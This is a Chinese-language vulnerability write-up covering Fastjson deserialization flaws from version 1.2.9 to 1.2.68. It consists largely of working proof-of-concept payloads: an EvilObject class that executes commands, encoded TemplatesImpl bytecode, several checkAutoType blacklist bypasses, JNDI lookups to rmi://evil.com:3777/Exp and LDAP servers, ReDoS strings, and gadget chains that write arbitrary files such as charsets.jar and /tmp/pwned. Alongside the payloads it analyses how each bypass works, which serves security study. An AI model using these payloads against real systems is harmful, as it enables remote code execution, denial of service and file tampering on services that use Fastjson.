Fastjson 1.2.9
com/alibaba/fastjson/parser/ParserConfig.class 中其实增加了一个 denyList:
this.denyList = new String[]{"java.lang.Thread"};
因此不能用 @type 反序列化 java.lang.Thread 类
Fastjson 1.2.22 - 1.2.24
可利用链为 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, fastjson 在反序列化该类的过程中会调用 getOutputProperties 方法,并在 getTransletInstance 方法的执行过程中读取 _bytecodes 属性中的字节码加载类,关键代码如下:
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...
可见 poc 需要设置 _name 属性,且恶意类要继承 AbstractTranslet 以便初始化,比如:
public class EvilObject extends AbstractTranslet {
public EvilObject() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
poc:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtTdGF0aWNCbG9jawEADElubmVyQ2xhc3NlcwEAEUxFeHAkU3RhdGljQmxvY2s7AQAKU291cmNlRmlsZQEACEV4cC5qYXZhDAAEAAUHABMBAA9FeHAkU3RhdGljQmxvY2sBABBqYXZhL2xhbmcvT2JqZWN0AQADRXhwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFAoAFQAPAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAGAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABoAGwoAGQAcAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAHgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMACAAIQoAGQAiACEAAgAVAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABaxAAAAAgAHAAAABgABAAAABwAIAAAADAABAAAABQAJAAwAAAAIABcABQABAAYAAAAWAAIAAAAAAAq4AB0SH7YAI1exAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name":"c","_tfactory":{},"outputProperties":{}}
在 1.2.25 版本中引入了 checkAutoType 安全机制,通过对 @type 中的类进行黑名单和白 名单检测来过略恶意类
commit: https://github.com/alibaba/fastjson/commit/90af6aadfa9be7592fdc8e174458ddaebb2b19c4
Fastjson 1.2.41
出现对 1.2.25 版本 checkAutotype 机制的绕过:利用 JNI 字段描述符绕过黑名单检查, 只需要在全限定类名前后分别加上 L 和 ;
poc:
{"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":["yv66vgAAADEAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtTdGF0aWNCbG9jawEADElubmVyQ2xhc3NlcwEAEUxFeHAkU3RhdGljQmxvY2s7AQAKU291cmNlRmlsZQEACEV4cC5qYXZhDAAEAAUHABMBAA9FeHAkU3RhdGljQmxvY2sBABBqYXZhL2xhbmcvT2JqZWN0AQADRXhwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFAoAFQAPAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAGAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABoAGwoAGQAcAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAHgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMACAAIQoAGQAiACEAAgAVAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABaxAAAAAgAHAAAABgABAAAABwAIAAAADAABAAAABQAJAAwAAAAIABcABQABAAYAAAAWAAIAAAAAAAq4AB0SH7YAI1exAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name":"c","_tfactory":{},"outputProperties":{}}
Fastjson 1.2.42
黑名单进行了加密混淆:https://github.com/LeadroyaL/fastjson-blacklist
另外 checkAutotype 方法也对类名进行了额外检测,如果是 Lcom.xxx;
的形式会先删除首尾
字符再判断是否在黑名单中。但可以通过双写绕过:
LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;
Fastjson 1.2.43
修复了 1.2.42 的双写绕过,但是可以用 [
绕过(在 JNI 字段描述符中表示数组层数)
[com.sun.rowset.JdbcRowSetImpl
如果仅仅增加一个 [
, fastjson 在解析时会报错,为了顺利反序列化还需要根据报错调整
poc,最终 poc 如下:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
这个利用链属于 JNDI Bean Property, 在执行 setAutoCommit 方法时调用了 InitialContext#lookup 来加载远程类,相较于 TemplatesImpl, 不需要开启 SupportNonPublic
当然除了 json poc 还需要一个恶意 LDAPServer 和一个恶意类,可以使用 mbechler/marshalsec
Fastjson 1.2.45
漏洞产生原因很简单,就是利用了黑名单中没有的类——mybatis 库中的 JndiDataSourceFactory 类
poc:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://evil.com:3777/Exp"}}
Fastjson 1.2.47
这版本漏洞的利用链依然是 com.sun.rowset.JdbcRowSetImpl, 但是 poc 的构造方法不同, 可以在不开启 AutoTypeSupport 的情况下使用并绕过 checkAutoType 的黑名单检查
poc:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}}
可以看出这次的 poc 比之前多了一部分,这样构造的原因是 checkAutoType 在进行黑白名 单检查之前,会尝试从 mappings 变量中获取一些基础类,以便于在反序列化这些基础类时 提高效率
首先 fastjson 反序列化 poc 的 a 部分,checkAutoType 将返回 JdbcRowSetImpl 类的 class 对象。在后续调用 MiscCodec#deserialze 方法时,会尝试获取 json 中的 val 属 性,也就是 com.sun.rowset.JdbcRowSetImpl, 而如果反序列化的是 Class 对象,则调用 TypeUtils#loadClass 将 val 指示的类加入到 mappings 集合中
然后 fastjson 反序列化 poc 的 b 部分,按理来说 com.sun.rowset.JdbcRowSetImpl 会被 checkAutoType 的黑名单检测到,但因为这时候 JdbcRowSetImpl 类信息已经保存到 mappings 中了,checkAutoType 在进行黑名单检测前便从 mappings 中拿到类,从而跳过 了检测,顺利反序列化
详细分析:Fastjson 1.2.47 漏洞分析
Fastjson 1.2.59
fastjson 对转义字符 \x 的处理不当,导致 dos 漏洞
poc:
{"c":"\x
Fastjson 1.2.60
存在两个不在 checkAutoType 黑名单中的三方类可以被利用
- org.apache.commons.configuration.JNDIConfiguration
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://evil.com:3777/Exp"}
- oracle.jdbc.connector.OracleManagedConnectionFactory
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://evil.com:3777/Exp"}
都是基于 JNDI 进行代码执行,需要恶意 RMIServer
Fastjson 1.2.62
无条件的 re-dos 漏洞,即正则表达式导致的 dos 漏洞
poc1:
{"regex":{"$ref":"$[poc rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"}, "poc":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
poc2:
{"regex":{"$ref":"$[\poc = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"}, "poc":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
Fastjson 1.2.68
这次漏洞围绕 checkAutoType 中的 expectClass 参数——当 expectClass 参数不为 Null、且当 前需要实例化的类型是 expectClass 的子类或实现时会将传入的类视为一个合法的类(此类 不能在黑名单中)
下面结合 checkAutoType 的部分代码来看一下在哪些情况下可以通过校验进行反序列化:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
// 对 expectClass 进行过滤
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz;
// ...
// 如果设置了 autoType 或者 expectClass, 而当前类又不在白名单中,则进行黑名单校验
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 尝试从 mappings 中(包含一些基础类和缓存类)获取当前类
clazz = TypeUtils.getClassFromMapping(typeName);
// 符合反序列化器的类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// ParserConfig 中本身带有的集合
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
// 白名单
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
// 直接返回,不用检查 autoTypeSupport 和黑名单
return clazz;
}
// 没有开启 autoTypeSupport, 进行黑名单检查
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
// ...
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// ...
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
// ...
// 检查当前类有没有继承或实现 expectClass
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
// ...
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz;
}
总结一下,在以下情况可以通过 checkAutoType 的校验:
- 白名单的类
- 开启了 autoType 且类不在黑名单中
- 使用了 JSONType 注解
- 设置了 expectClass, 当前类是它的子类
- mappings 中的类,通常是一些预设的基础类和缓存的类
在上述限制中,有不少第三方库给挖掘出可以利用的链,我们分析一下 sun.rmi.server.MarshalOutputStream 这个利用链,通过它可以进行任意文件写入
poc:
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}
首先检查 AutoCloseable 类,由于该类在 mappings 集合中,通过 getClassFromMapping 即可获取
AutoCloseable 是接口类,fastjson 继续读取并检查后续的 sun.rmi.server.MarshalOutputStream, 并把 AutoCloseable 作为 expectClass 传入
通过黑白名单等一系列检查后来到下面的判断,此时 expectClassFlag 为 true, 加载了 MarshalOutputStream 类
此时 clazz 不为空,且 MarshalOutputStream 继承了 AutoCloseable 接口,在下图的红 框中返回,避免了后续检查 autoTypeSupport 属性,因此在关闭 autoType 的情况下仍然 可以利用
后续就不深入分析 MarshalOutputStream 这条链的反序列化过程了,除了这个 poc 还有其 他利用第三方库构造的 poc, 大致上都是利用了 AutoCloseable 这个在 mappings 中的类, 再结合 expectClass 属性从它的子类中去挖掘利用链
任意写文件:
{"stream": {"@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "f:/test/pwn.txt", "tempPath": "f:/test/test.txt"}, "writer": {"@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "YjF1M3I=", "outputStream": {"$ref": "$.stream"}, "position": 5}, "close": {"@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": {"$ref": "$.writer"}}}
commons-io 2.0-2.6:
{"x":{"@type":"com.alibaba.fastjson.JSONObject", "input":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于 8192,实际写入前 8192 个字符)"}, "charsetName":"UTF-8", "bufferSize":1024}, "branch":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "encoding":"UTF-8", "append": false}, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true}, "trigger":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{"@type":"org.apache.commons.io.input.TeeInputStream", "input":{"$ref":"$.input"}, "branch":{"$ref":"$.branch"}, "closeBranch": true}, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8"}, "trigger2":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{"@type":"org.apache.commons.io.input.TeeInputStream", "input":{"$ref":"$.input"}, "branch":{"$ref":"$.branch"}, "closeBranch": true}, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8"}, "trigger3":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{"@type":"org.apache.commons.io.input.TeeInputStream", "input":{"$ref":"$.input"}, "branch":{"$ref":"$.branch"}, "closeBranch": true}, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8"}}}
commons-io 2.7-2.8:
{"x":{"@type":"com.alibaba.fastjson.JSONObject", "input":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于 8192,实际写入前 8192 个字符)", "start":0, "end":2147483647}, "charsetName":"UTF-8", "bufferSize":1024}, "branch":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "charsetName":"UTF-8", "append": false}, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true}, "trigger":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream", "input":{"$ref":"$.input"}, "branch":{"$ref":"$.branch"}, "closeBranch": true}, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8"}, "trigger2":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream", "input":{"$ref":"$.input"}, "branch":{"$ref":"$.branch"}, "closeBranch": true}, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8"}, "trigger3":{"@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream", "input":{"$ref":"$.input"}, "branch":{"$ref":"$.branch"}, "closeBranch": true}, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8"}}}